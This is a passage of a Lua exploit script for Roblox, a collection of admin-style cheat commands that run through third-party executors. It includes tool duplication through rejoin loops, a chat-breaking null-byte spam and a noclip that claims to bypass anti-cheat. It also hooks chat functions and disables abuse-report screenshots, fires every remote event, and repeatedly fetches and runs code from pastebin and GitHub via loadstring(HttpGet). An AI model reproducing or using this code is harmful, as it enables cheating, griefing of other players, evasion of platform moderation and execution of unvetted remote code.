		ADD_COMMAND('attachpart','attachpart',{},
		function()
			-- made by joshclark756#7155
			-- Variables
			local mouse = game.Players.LocalPlayer:GetMouse()
			local uis = game:GetService("UserInputService")
	
			-- Connect
			mouse.Button1Down:Connect(function()
				-- Check for Target & Left Shift
				if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
					local npc = mouse.target
					local npcparts = mouse.target.Parent
					local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
					local PlayerRootPart = PlayerCharacter.HumanoidRootPart
					local A0 = Instance.new("Attachment")
					local AP = Instance.new("AlignPosition")
					local AO = Instance.new("AlignOrientation")
					local A1 = Instance.new("Attachment")
					for _, v in pairs(npcparts:GetDescendants()) do
						if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
							do
								v.CanCollide = false
	
							end
						end
					end
					-- Variables
					local mouse = game.Players.LocalPlayer:GetMouse()
					local uis = game:GetService("UserInputService")
	
					-- Connect
					mouse.Button1Down:Connect(function()
						if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
							local npc = mouse.target
							local npcparts = mouse.target.Parent
							local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
							local PlayerRootPart = PlayerCharacter.HumanoidRootPart
							local A0 = Instance.new("Attachment")
							local AP = Instance.new("AlignPosition")
							local AO = Instance.new("AlignOrientation")
							local A1 = Instance.new("Attachment")
							for _, v in pairs(npcparts:GetDescendants()) do
								if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
									do
										v.CanCollide = false
	
										wait(0)
										local player = game.Players.LocalPlayer
										local mouse = player:GetMouse()
										bind = "e" -- has to be lowercase
										mouse.KeyDown:connect(function(key)
											if key == bind then do
													v.CanCollide = true
												end
											end
										end)
									end
								end
							end
							for _, v in pairs(PlayerCharacter:GetDescendants()) do
								if v:IsA("BasePart") then
									if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
	
									end
								end
							end
							PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
							PlayerCharacter.Head.Anchored = false
							PlayerCharacter.Torso.Anchored = false
							A0.Parent = npc
							AP.Parent = npc
							AO.Parent = npc
							AP.Responsiveness = 200
							AP.MaxForce = math.huge
							AO.MaxTorque = math.huge
							AO.Responsiveness = 200
							AP.Attachment0 = A0
							AP.Attachment1 = A1
							AO.Attachment1 = A1
							AO.Attachment0 = A0
							A1.Parent = PlayerRootPart
						end
					end)
					for _, v in pairs(PlayerCharacter:GetDescendants()) do
						if v:IsA("BasePart") then
							if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
	
							end
						end
					end
					PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
					PlayerCharacter.Head.Anchored = false
					PlayerCharacter.Torso.Anchored = false
					A0.Parent = npc
					AP.Parent = npc
					AO.Parent = npc
					AP.Responsiveness = 200
					AP.MaxForce = math.huge
					AO.MaxTorque = math.huge
					AO.Responsiveness = 200
					AP.Attachment0 = A0
					AP.Attachment1 = A1
					AO.Attachment1 = A1
					AO.Attachment0 = A0
					A1.Parent = PlayerRootPart
				end
			end)
		end)
	
		ADD_COMMAND('netless','netless',{},
		function()
			for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do
				if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then 
					game:GetService("RunService").Heartbeat:connect(function()
						v.Velocity = Vector3.new(-30,0,0)
					end)
				end
			end
	
			game:GetService("StarterGui"):SetCore("SendNotification", { 
				Title = "Notification";
				Text = "Ligma Netless Ran";
				Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"})
			Duration = 16;
		end)
	
		ADD_COMMAND('kidnap','kidnap',{},
		function()
			game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(key)
				if key == 'z' then
					local h = game.Players.LocalPlayer.Character.Humanoid:Clone()
					local plr = game.Players.LocalPlayer.Character
					local CF = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
					local lp = game.Players.LocalPlayer
	
					h.Parent = game.Players.LocalPlayer.Character
					h.Name = "Hum"
	
					game.Players.LocalPlayer.Character.Humanoid:Destroy()
	
					for _,v in pairs(game.Players.LocalPlayer:GetDescendants()) do
						if v.ClassName == "Tool" then
							v.Parent = plr
						end
					end
					wait(.5)
					tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(150, Enum.EasingStyle.Linear)
	
					tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, -1000, 0)})
					tween:Play()
				end
			end)
		end)
	
		ADD_COMMAND('dupetools','dupetools',{},
		function(ARGS)
			local AmountToDupe = tonumber(ARGS[1])
	
			local plr = game.Players.LocalPlayer
			local char = plr.Character
			local pos = char.HumanoidRootPart.Position
			local http = game:GetService("HttpService")
	
			local file = 'rejoindupe.json'
			writefile(file,http:JSONEncode({
				['AmountToDupe'] = AmountToDupe,
				['CurrentAmount'] = 0
			}))
			char.HumanoidRootPart.CFrame = CFrame.new(0,999999,0)
			for i,v in pairs(plr.Backpack:GetChildren()) do
				if v:IsA("Tool") then
					v.Parent = char
				end
			end
			wait(.3)
			for i,v in pairs(char:GetChildren()) do
				if v:IsA("Tool") then
					v.Parent = workspace
				end
			end
	
			local dupescript = [[
	      game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen()
	      repeat wait() until game.Players.LocalPlayer
	      repeat wait() until game.Players.LocalPlayer.Character
	      repeat wait() until game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
	      game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(%s)
	      local plr = game.Players.LocalPlayer
	      local char = plr.Character
	      local file = "%s"
	      local a = readfile(file)
	      local data = game:GetService("HttpService"):JSONDecode(a)
	      if data['CurrentAmount'] >= data['AmountToDupe'] then
	          wait(0.5)
	          for i,v in pairs(workspace:GetChildren()) do
	              if v:IsA("Tool") then
	                  char.Humanoid:EquipTool(v)
	              end
	          end
	          return
	      else
	          wait()
	          char.HumanoidRootPart.CFrame = CFrame.new(0,999999,0)
	          for i,v in pairs(plr.Backpack:GetChildren()) do
	              if v:IsA("Tool") then
	                  v.Parent = char
	              end
	          end
	          wait(.3)
	          for i,v in pairs(char:GetChildren()) do
	              if v:IsA("Tool") then
	                  v.Parent = workspace
	              end
	          end
	          wait(.1)
	          data['CurrentAmount'] = data['CurrentAmount'] + 1
	          writefile(file,game:GetService("HttpService"):JSONEncode(data))
	      end
	      syn.queue_on_teleport(readfile("%s"))
	      repeat
	      game:GetService("TeleportService"):Teleport(game.PlaceId)    
	      wait(0.5)
	      until nil
	   ]]
			dupescript = string.format(dupescript,tostring(pos),file,"dupescript.lua")
	
			writefile('dupescript.lua',dupescript)
			syn.queue_on_teleport(dupescript)
			game:GetService("TeleportService"):Teleport(game.PlaceId)
		end)
	
		ADD_COMMAND('Roxploit','Roxploit (Client)',{},
		function()
			loadstring(game:GetObjects("rbxassetid://364364477")[1].Source)()
		end)
	
		ADD_COMMAND('replicationui','replicationui',{},
		function()
			loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
		end)
	
		ADD_COMMAND('gravitygun','gravitygun',{},
		function()
			loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))()
		end)
	
		ADD_COMMAND('respawn','respawn',{},
		function()
			cf = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
			game.Players.LocalPlayer.Character.Humanoid.Health = 0
			player.CharacterAdded:wait(1); wait(0.2);
			character:WaitForChild("HumanoidRootPart").CFrame = cf
		end)
	
		ADD_COMMAND('sonic','sonic (requires R6)',{},
		function()
			local Global = (getgenv and getgenv()) or shared
			Global.GelatekReanimateConfig = {
				-- [[ Rig Settings ]] --
				["sonic"] = true,
			}
	
			loadstring(game:HttpGet("https://pastebin.com/raw/uacVtsWe"))()
		end)
	
		ADD_COMMAND('grabtools','grabtools',{},
		function()
			local p = game:GetService("Players").LocalPlayer
			local c = p.Character
			if c and c:FindFirstChild("Humanoid") then
				for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
					if v:IsA("Tool") then
						c:FindFirstChild("Humanoid"):EquipTool(v)
					end
				end
			end
		end)
	
	
	
		ADD_COMMAND('r6','r6',{},
		function()
			local Global = (getgenv and getgenv()) or shared
			Global.GelatekReanimateConfig = {
				-- [[ Rig Settings ]] --
				["R15ToR6"] = true,
			}
	
			loadstring(game:HttpGet("https://raw.githubusercontent.com/Imagnir/r6_anims_for_r15/main/r6_anims.lua"))()
		end)
	
		ADD_COMMAND('invisible','invisible',{},
		function()
			NOTIFY('Toggle = c', 0, 255, 0)
			loadstring(game:HttpGetAsync("https://pastebin.com/raw/D1hNQwRT"))()
		end)
	
		ADD_COMMAND('holdpartr15','holdpartr15',{},
		function()
			-- made by joshclark756#7155
			local mouse = game.Players.LocalPlayer:GetMouse()
			local uis = game:GetService("UserInputService")
	
			-- Connect
			mouse.Button1Down:Connect(function()
				-- Check for Target & Left Shift
				if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
					local npc = mouse.target
					local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
					local PlayerRootPart = PlayerCharacter.HumanoidRootPart
					local A0 = Instance.new("Attachment")
					local AP = Instance.new("AlignPosition")
					local AO = Instance.new("AlignOrientation")
					local A1 = Instance.new("Attachment")
					for _, v in pairs(npc:GetDescendants()) do
						if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
							game:GetService("RunService").Stepped:Connect(function()
								v.CanCollide = false
							end)
						end
					end
	
					for _, v in pairs(PlayerCharacter:GetDescendants()) do
						if v:IsA("BasePart") then
							if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
							end
						end
					end
					PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
					A0.Parent = npc
					AP.Parent = npc
					AO.Parent = npc
					AP.Responsiveness = 200
					AP.MaxForce = math.huge
					AO.MaxTorque = math.huge
					AO.Responsiveness = 200
					AP.Attachment0 = A0
					AP.Attachment1 = A1
					AO.Attachment1 =  A1
					AO.Attachment0 = A0
					A1.Parent = PlayerCharacter.RightHand
				end
			end)
		end)
	
		ADD_COMMAND('holdpartr6','holdpartr6',{},
		function()
			-- made by joshclark756#7155
			local mouse = game.Players.LocalPlayer:GetMouse()
			local uis = game:GetService("UserInputService")
	
			-- Connect
			mouse.Button1Down:Connect(function()
				-- Check for Target & Left Shift
				if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
					local npc = mouse.target
					local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
					local PlayerRootPart = PlayerCharacter.HumanoidRootPart
					local A0 = Instance.new("Attachment")
					local AP = Instance.new("AlignPosition")
					local AO = Instance.new("AlignOrientation")
					local A1 = Instance.new("Attachment")
					for _, v in pairs(npc:GetDescendants()) do
						if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
							game:GetService("RunService").Stepped:Connect(function()
								v.CanCollide = false
							end)
						end
					end
	
					for _, v in pairs(PlayerCharacter:GetDescendants()) do
						if v:IsA("BasePart") then
							if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
							end
						end
					end
					PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
					A0.Parent = npc
					AP.Parent = npc
					AO.Parent = npc
					AP.Responsiveness = 200
					AP.MaxForce = math.huge
					AO.MaxTorque = math.huge
					AO.Responsiveness = 200
					AP.Attachment0 = A0
					AP.Attachment1 = A1
					AO.Attachment1 =  A1
					AO.Attachment0 = A0
					A1.Parent = PlayerCharacter:FindFirstChild("Right Arm")
				end
			end)
		end)
	
		ADD_COMMAND('creatorid','creatorid',{},
		function()
			if game.CreatorType == Enum.CreatorType.User then
				game.Players.LocalPlayer.UserId = game.CreatorId
			end
			if game.CreatorType == Enum.CreatorType.Group then
				game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id
			end 
		end)
	
		ADD_COMMAND('fcd','fcd / fireclickdetectors',{},
		function()
			NOTIFY('Fired all click detectors!', 0, 255, 0)
			wait()
			for i,v in pairs(game:GetDescendants()) do
				if v:IsA("ClickDetector") then
					fireclickdetector(v)
				end
			end 
		end)
	
		ADD_COMMAND('fti','fti / firetouchinerests',{},
		function()
			NOTIFY('Fired all touch interests!', 0, 255, 0)
			wait()
			for _,v in pairs(workspace:GetDescendants()) do
				if v:IsA("TouchTransmitter") then
					firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 0) --0 is touch
					wait()
					firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 1) -- 1 is untouch
				end
			end
		end)
	
		ADD_COMMAND('dex','dex',{},
		function()
			loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
		end)
	
		ADD_COMMAND('breakchat','breakchat',{},
		function()
			for i=1,3 do 
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("\0", "All")
			end
		end)
	
		ADD_COMMAND('noclip','noclip (keybind x)',{},
		function()
			local nckey = "x";
			local nclip = false;
			local lp = game.Players.LocalPlayer
			local ms = lp:GetMouse()
			local rm = getrawmetatable(game)
			local index = rm.__index
			local bv = Instance.new("BoolValue");
			bv.Value = false;
			setreadonly(rm,false)
	
			rm.__index = function(self,j)
				if tostring(self) == "Part" and tostring(j) == "Anchored" then
					return index(bv,"Value")
				end
				return index(self,j)
			end
	
	
			game:GetService("RunService").Stepped:Connect(function()
				if nclip == true then
					lp.Character.Head.CanCollide = false
					lp.Character.Torso.CanCollide = false
				end
			end);
	
			ms.KeyDown:Connect(function(k)
				if k == nckey then
					nclip = not nclip
					if nclip == true then
						print("Noclip is on.")
					else
						print("Noclip if off.")
					end
				end
			end)
	
			print("Noclip key is X");
			print("Press X to turn noclip on and off");
			print("This noclip should bypass most anti-cheats");
		end)
	
		ADD_COMMAND('antichatlog','antichatlog',{},
		function()
			-- no skid :)
			if not game:IsLoaded() then
				game.Loaded:wait()
			end
	
			local ACL_LoadTime = tick()
	
			local CoreGui = game:GetService("CoreGui")
			local StarterGui = game:GetService("StarterGui")
			local TweenService = game:GetService("TweenService")
			local Players = game:GetService("Players")
	
			local Player = Players.LocalPlayer
	
			local PlayerGui = Player:FindFirstChildWhichIsA("PlayerGui") do
				if not PlayerGui then
					repeat task.wait() until Player:FindFirstChildWhichIsA("PlayerGui")
					PlayerGui = Player:FindFirstChildWhichIsA("PlayerGui")
				end
			end
	
			local Notify = function(_Title, _Text , Time)
				StarterGui:SetCore("SendNotification", {Title = _Title, Text = _Text, Icon = "rbxassetid://2541869220", Duration = Time})
			end
	
			local Tween = function(Object, Time, Style, Direction, Property)
				return TweenService:Create(Object, TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction]), Property)
			end
	
			local Insert = function(Tbl, ...)
				for _, x in next, {...} do
					table.insert(Tbl, x) 
				end
			end
	
			local ChatFixToggle = true
			local CoreGuiSettings = {}
			local ChatFix
	
			ChatFix = hookmetamethod(StarterGui, "__namecall", function(self, ...)
				local Method = getnamecallmethod()
				local Arguments = {...}
	
				if not checkcaller() and ChatFixToggle and Method == "SetCoreGuiEnabled" then
					local CoreGuiType = Arguments[1]
					local SettingValue = Arguments[2]
	
					if CoreGuiType == ("All" or "Chat") then
						Insert(CoreGuiSettings, CoreGuiType, SettingValue)
						return
					end
				end
	
				return ChatFix(self, ...)
			end)
	
			local ACLWarning = Instance.new("ScreenGui")
			local Background = Instance.new("Frame")
			local Top = Instance.new("Frame")
			local Exit = Instance.new("TextButton")
			local UICorner = Instance.new("UICorner")
			local WarningLbl = Instance.new("TextLabel")
			local Loading = Instance.new("Frame")
			local Bar = Instance.new("Frame")
			local WarningBackground = Instance.new("Frame")
			local WarningFrame = Instance.new("Frame")
			local Despair = Instance.new("TextLabel")
			local UIListLayout = Instance.new("UIListLayout")
			local Reason_1 = Instance.new("TextLabel")
			local Reason_2 = Instance.new("TextLabel")
			local Trollge = Instance.new("ImageLabel")
			local UIPadding = Instance.new("UIPadding")
	
			local MakeGuiThread = coroutine.wrap(function()    
				syn.protect_gui(ACLWarning)
	
				ACLWarning.Name = "ACL Warning"
				ACLWarning.Parent = CoreGui
				ACLWarning.Enabled = false
				ACLWarning.DisplayOrder = -2147483648
	
				Background.Name = "Background"
				Background.Parent = ACLWarning
				Background.AnchorPoint = Vector2.new(0.5, 0.5)
				Background.BackgroundColor3 = Color3.fromRGB(21, 0, 0)
				Background.BorderSizePixel = 0
				Background.Position = UDim2.new(0.5, 0, 0.5, 0)
				Background.Size = UDim2.new(0.300000012, 0, 0.5, 0)
	
				Top.Name = "Top"
				Top.Parent = Background
				Top.AnchorPoint = Vector2.new(0.5, 0.5)
				Top.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
				Top.BorderSizePixel = 0
				Top.Position = UDim2.new(0.5, 0, 0.100000001, 0)
				Top.Size = UDim2.new(0.899999976, 0, 0.100000001, 0)
	
				Exit.Name = "Exit"
				Exit.Parent = Top
				Exit.AnchorPoint = Vector2.new(0.5, 0.5)
				Exit.BackgroundColor3 = Color3.fromRGB(38, 0, 0)
				Exit.Position = UDim2.new(0.949999988, 0, 0.5, 0)
				Exit.Size = UDim2.new(0.100000001, -6, 1, -9)
				Exit.Visible = false
				Exit.Font = Enum.Font.Arcade
				Exit.Text = "X"
				Exit.TextColor3 = Color3.fromRGB(255, 255, 255)
				Exit.TextScaled = true
				Exit.TextSize = 14.000
				Exit.TextWrapped = true
	
				UICorner.CornerRadius = UDim.new(0.200000003, 0)
				UICorner.Parent = Exit
	
				WarningLbl.Name = "WarningLbl"
				WarningLbl.Parent = Top
				WarningLbl.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				WarningLbl.BackgroundTransparency = 1.000
				WarningLbl.Position = UDim2.new(0, 17, 0, 0)
				WarningLbl.Size = UDim2.new(0.5, 0, 1, 0)
				WarningLbl.Font = Enum.Font.Arcade
				WarningLbl.Text = "Warning!"
				WarningLbl.TextColor3 = Color3.fromRGB(255, 255, 255)
				WarningLbl.TextScaled = true
				WarningLbl.TextSize = 14.000
				WarningLbl.TextWrapped = true
				WarningLbl.TextXAlignment = Enum.TextXAlignment.Left
	
				Loading.Name = "Loading"
				Loading.Parent = Top
				Loading.AnchorPoint = Vector2.new(0.5, 0.5)
				Loading.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
				Loading.BorderSizePixel = 0
				Loading.Position = UDim2.new(0.699999988, 0, 0.5, 0)
				Loading.Size = UDim2.new(0.349999994, 0, 0.0199999996, 0)
	
				Bar.Name = "Bar"
				Bar.Parent = Loading
				Bar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				Bar.BorderSizePixel = 0
				Bar.Size = UDim2.new(0, 0, 1, 0)
	
				WarningBackground.Name = "WarningBackground"
				WarningBackground.Parent = Background
				WarningBackground.AnchorPoint = Vector2.new(0.5, 0.5)
				WarningBackground.BackgroundColor3 = Color3.fromRGB(9, 9, 9)
				WarningBackground.BorderSizePixel = 0
				WarningBackground.Position = UDim2.new(0.5, 0, 0.550000012, 0)
				WarningBackground.Size = UDim2.new(0.899999976, 0, 0.800000012, 0)
	
				WarningFrame.Name = "WarningFrame"
				WarningFrame.Parent = WarningBackground
				WarningFrame.AnchorPoint = Vector2.new(0.5, 0.5)
				WarningFrame.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
				WarningFrame.BorderSizePixel = 0
				WarningFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
				WarningFrame.Size = UDim2.new(0.899999976, 0, 0.899999976, 0)
	
				Despair.Name = "Despair"
				Despair.Parent = WarningFrame
				Despair.AnchorPoint = Vector2.new(0.5, 0.5)
				Despair.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
				Despair.BackgroundTransparency = 1.000
				Despair.BorderColor3 = Color3.fromRGB(27, 42, 53)
				Despair.BorderSizePixel = 0
				Despair.Position = UDim2.new(0.5, 0, 0.100000001, 0)
				Despair.Size = UDim2.new(0.949999988, 0, 0.119999997, 0)
				Despair.Font = Enum.Font.Oswald
				Despair.Text = "Anti Chat Logger will not work here!"
				Despair.TextColor3 = Color3.fromRGB(255, 255, 255)
				Despair.TextScaled = true
				Despair.TextSize = 50.000
				Despair.TextWrapped = true
				Despair.TextYAlignment = Enum.TextYAlignment.Top
	
				UIListLayout.Parent = WarningFrame
				UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
				UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
				UIListLayout.Padding = UDim.new(0, 15)
	
				Reason_1.Name = "Reason_1"
				Reason_1.Parent = WarningFrame
				Reason_1.AnchorPoint = Vector2.new(0.5, 0.5)
				Reason_1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
				Reason_1.BackgroundTransparency = 1.000
				Reason_1.BorderColor3 = Color3.fromRGB(27, 42, 53)
				Reason_1.BorderSizePixel = 0
				Reason_1.Position = UDim2.new(0.5, 0, 0.100000001, 0)
				Reason_1.Size = UDim2.new(0.949999988, 0, 0.100000001, 0)
				Reason_1.Visible = false
				Reason_1.Font = Enum.Font.Oswald
				Reason_1.Text = "-Chat Module was not found."
				Reason_1.TextColor3 = Color3.fromRGB(255, 0, 0)
				Reason_1.TextScaled = true
				Reason_1.TextSize = 50.000
				Reason_1.TextWrapped = true
				Reason_1.TextYAlignment = Enum.TextYAlignment.Top
	
				Reason_2.Name = "Reason_2"
				Reason_2.Parent = WarningFrame
				Reason_2.AnchorPoint = Vector2.new(0.5, 0.5)
				Reason_2.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
				Reason_2.BackgroundTransparency = 1.000
				Reason_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
				Reason_2.BorderSizePixel = 0
				Reason_2.Position = UDim2.new(0.5, 0, 0.100000001, 0)
				Reason_2.Size = UDim2.new(0.949999988, 0, 0.100000001, 0)
				Reason_2.Visible = false
				Reason_2.Font = Enum.Font.Oswald
				Reason_2.Text = "-MessagePosted function is invalid."
				Reason_2.TextColor3 = Color3.fromRGB(255, 0, 0)
				Reason_2.TextScaled = true
				Reason_2.TextSize = 50.000
				Reason_2.TextWrapped = true
				Reason_2.TextYAlignment = Enum.TextYAlignment.Top
	
				Trollge.Name = "Trollge"
				Trollge.Parent = WarningFrame
				Trollge.AnchorPoint = Vector2.new(0.5, 0.5)
				Trollge.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				Trollge.BackgroundTransparency = 1.000
				Trollge.Position = UDim2.new(0.5, 0, 0.670000017, 0)
				Trollge.Size = UDim2.new(0.449999988, 0, 0.5, 0)
				Trollge.Image = "rbxassetid://10104834800"
	
				UIPadding.Parent = WarningFrame
				UIPadding.PaddingTop = UDim.new(0, 10)
	
				Exit.MouseButton1Click:Connect(function()
					local UpTween = Tween(Background, .2, "Quint", "Out", {Position = UDim2.new(0.5, 0, 0.45, 0)})
					local DownTween = Tween(Background, 1, "Quad", "Out", {Position = UDim2.new(0.5, 0, 2, 0)})
					UpTween:Play()
					UpTween.Completed:wait()
					DownTween:Play()
					DownTween.Completed:wait()
					ACLWarning:Destroy()
				end)
			end)()
	
			local ExitCooldown = function()
				wait(3)
				local Tween = Tween(Bar, 5, "Quad", "InOut", {Size = UDim2.new(1, 0, 1, 0)})
				Tween:Play()
				Tween.Completed:wait()
				Loading:Destroy()
				Exit.Visible = true
			end
	
			local PlayerScripts = Player:WaitForChild("PlayerScripts")
			local ChatMain = PlayerScripts:FindFirstChild("ChatMain", true) or false
	
			if not ChatMain then
				local Timer = tick()
				repeat
					task.wait()
				until PlayerScripts:FindFirstChild("ChatMain", true) or tick() > (Timer + 3)
				ChatMain = PlayerScripts:FindFirstChild("ChatMain", true)
				if not ChatMain then
					ACLWarning.Enabled = true
					Reason_1.Visible = true
					ExitCooldown()
					return
				end
			end
	
			local PostMessage = require(ChatMain).MessagePosted
	
			if not PostMessage then
				ACLWarning.Enabled = true
				Reason_2.Visible = true
				ExitCooldown()
				return
			end
	
			local MessageEvent = Instance.new("BindableEvent")
			local OldFunctionHook
			OldFunctionHook = hookfunction(PostMessage.fire, function(self, Message)
				if not checkcaller() and self == PostMessage then
					MessageEvent:Fire(Message)
					return
				end
				return OldFunctionHook(self, Message)
			end)
	
			if setfflag then
				setfflag("AbuseReportScreenshot", "False")
				setfflag("AbuseReportScreenshotPercentage", 0)
			end
	
			ChatFixToggle = false
			ACLWarning:Destroy()
			if OldSetting then
				StarterGui:SetCoreGuiEnabled(CoreGuiSettings[1], CoreGuiSettings[2])
			end
			Notify("Loaded Successfully", "Anti Chat and Screenshot Logger Loaded!", 15)
			print(string.format("Anti Chat-Logger has loaded in %s seconds.", tostring(tick() - ACL_LoadTime):sub(1, 4)))
		end)
	
		ADD_COMMAND('soundglitcher','soundglitcher',{},
		function()
			local duration = 999999 -- integer only, no decimals
			if game:GetService("SoundService").RespectFilteringEnabled then return end
	
			local sounds = {}
	
			for i,v in pairs(Game:GetDescendants()) do
				if v:IsA("Sound")  then
					table.insert(sounds,v)
				end
			end
	
	
			local con = Game.DescendantAdded:Connect(function(v)
				if v:IsA("Sound") then
					table.insert(sounds,v)
				end
			end)
			wait(.1)
			local start = math.floor(tick())
			repeat
				for i,v in pairs(sounds) do
					v:Play()
					v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
					task.wait()
				end
			until math.floor(tick()) == start + duration
			con:Disconnect()
	
			for i,v in pairs(sounds) do
				v:Stop()
			end
		end)
	
		ADD_COMMAND('fpp','fpp / fireproximityprompts',{},
		function()
			fireproximityprompt(workspace.Instance.ProximityPrompt, 1, true)
		end)
	
		ADD_COMMAND('removedn','removedn / removedisplaynames',{},
		function()
			local Players = game:FindService("Players")
	
			require(game:GetService("Chat"):WaitForChild("ClientChatModules").ChatSettings).PlayerDisplayNamesEnabled = false
	
			local function rename(character,name)
				repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid")
				character:FindFirstChildWhichIsA("Humanoid").DisplayName = name
			end
	
			for i,v in next, Players:GetPlayers() do
				if v.Character then
					v.DisplayName = v.Name
					rename(v.Character,v.Name)
				end
				v.CharacterAdded:Connect(function(char)
					rename(char,v.Name)
				end)
			end
	
			Players.PlayerAdded:Connect(function(plr)
				plr.DisplayName = plr.Name
				plr.CharacterAdded:Connect(function(char)
					rename(char,plr.Name)
				end)
			end)
		end)
	
		ADD_COMMAND('rejoin','rejoin',{},
		function()
			local ts = game:GetService("TeleportService")
			local p = game:GetService("Players").LocalPlayer
			ts:TeleportToPlaceInstance(game.PlaceId, game.JobId, p)
		end)
	
		ADD_COMMAND('sit','sit',{},
		function()
			game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = true
		end)
	
		ADD_COMMAND('lowgraphics','lowgraphics',{},
		function()
			local Terrain = workspace:FindFirstChildOfClass('Terrain')
			Terrain.WaterWaveSize = 0
			Terrain.WaterWaveSpeed = 0
			Terrain.WaterReflectance = 0
			Terrain.WaterTransparency = 0
			settings().Rendering.QualityLevel = 1
			for i,v in pairs(game:GetDescendants()) do
				if v:IsA("Part") or v:IsA("UnionOperation") or v:IsA("MeshPart") or v:IsA("CornerWedgePart") or v:IsA("TrussPart") then
					v.Material = "Plastic"
					v.Reflectance = 0
				elseif v:IsA("Decal") then
					v.Transparency = 1
				elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
					v.Lifetime = NumberRange.new(0)
				elseif v:IsA("Explosion") then
					v.BlastPressure = 1
					v.BlastRadius = 1
				end
			end
			for i,v in pairs(Lighting:GetDescendants()) do
				if v:IsA("BlurEffect") or v:IsA("SunRaysEffect") or v:IsA("ColorCorrectionEffect") or v:IsA("BloomEffect") or v:IsA("DepthOfFieldEffect") then
					v.Enabled = false
				end
			end
			workspace.DescendantAdded:Connect(function(child)
				coroutine.wrap(function()
					if child:IsA('ForceField') then
						RunService.Heartbeat:Wait()
						child:Destroy()
					elseif child:IsA('Sparkles') then
						RunService.Heartbeat:Wait()
						child:Destroy()
					elseif child:IsA('Smoke') or child:IsA('Fire') then
						RunService.Heartbeat:Wait()
						child:Destroy()
					end
				end)()
			end)
		end)
	
		ADD_COMMAND('fatesadmin','fatesadmin',{},
		function()
			loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))();
		end)
	
		ADD_COMMAND('hidename','hidename (only works on billboard guis)',{},
		function()
			for _,item in pairs(workspace[game.Players.LocalPlayer.Name].Head:GetChildren()) do
				if item:IsA('BillboardGui') then
					item:Remove()
				end
			end
		end)
	
		ADD_COMMAND('homebrew','homebrew',{},
		function()
			loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))()
		end)
	
		ADD_COMMAND('krystaldance','krystaldance',{},
		function()
			loadstring(game:HttpGet('https://pastebin.com/raw/vBBmqzMy'))()
		end)
	
		ADD_COMMAND('chattrollgui','chattrollgui',{},
		function()
			loadstring(game:HttpGet("https://raw.githubusercontent.com/sinret/rbxscript.com-scripts-reuploads-/main/chatt", true))()
		end)
	
		ADD_COMMAND('fireremotes','fireremotes',{},
		function()
			NOTIFY('Fired all remotes!', 0, 255, 0)
			wait()
			for i,v in pairs(game:GetDescendants()) do
				if v:IsA("RemoteEvent") then
					v:FireServer()
					if v:IsA("BindableEvent") then
						v:Fire()
						if v:IsA("RemoteFunction") then
							v:InvokeServer()
						end
					end
				end
			end
		end)
	
